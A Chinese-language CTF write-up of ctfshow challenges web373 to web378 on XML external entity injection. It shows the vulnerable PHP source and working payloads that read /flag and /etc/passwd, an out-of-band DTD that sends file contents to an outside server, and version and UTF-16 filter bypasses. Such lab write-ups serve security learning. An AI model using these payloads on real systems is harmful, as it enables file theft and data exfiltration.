web373
源码
<?php
error_reporting(0);
// 允许加载外部实体
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
payload
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<creds>
<ctfshow>
&xxe;
</ctfshow>
</creds>
这里发现version后随便加数字也行,第二层标签也不是必须是creds。
<?xml version="1.012313"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<fff>
<ctfshow>
&xxe;
</ctfshow>
</fff>
web374
源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
服务器端无回显
参考文章https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-exfiltrate-data-out-of-band
自己服务器端malicious.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ip:9000/?x=%file;'>">
%eval;
%exfiltrate;
这里因为读的文件内有换行符,不会触发http。
可以使用php伪协议,将数据转为base64
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ip:9000/?x=%file;'>">
%eval;
%exfiltrate;
使用python的http.server布置
python3 -m http.server 9000
payload
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://ip:9000/malicious.dtd">
%remote;
]>
web375
源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
同上,将版本改为1.1即可。
web376
源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
同上
web377
源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里过滤了http,使用utf-16编码绕过
import requests
url = 'http://66634293-0716-44a3-b08b-48e97c715caa.challenge.ctf.show'
data = '''<?xml version="1.1"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://ip:9000/malicious.dtd">
%remote;
]>'''
proxies = {
'http': 'http://127.0.0.1:8080',
}
//设置burp代理,查看详细数据包
print(data.encode('utf-16'))
r= requests.post(url=url,data=data.encode("utf-16"),proxies=proxies)
print(r.text)
web378
一个登录框,抓包发现上传数据为xml格式,且会回显用户名。
payload
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>333</password></user>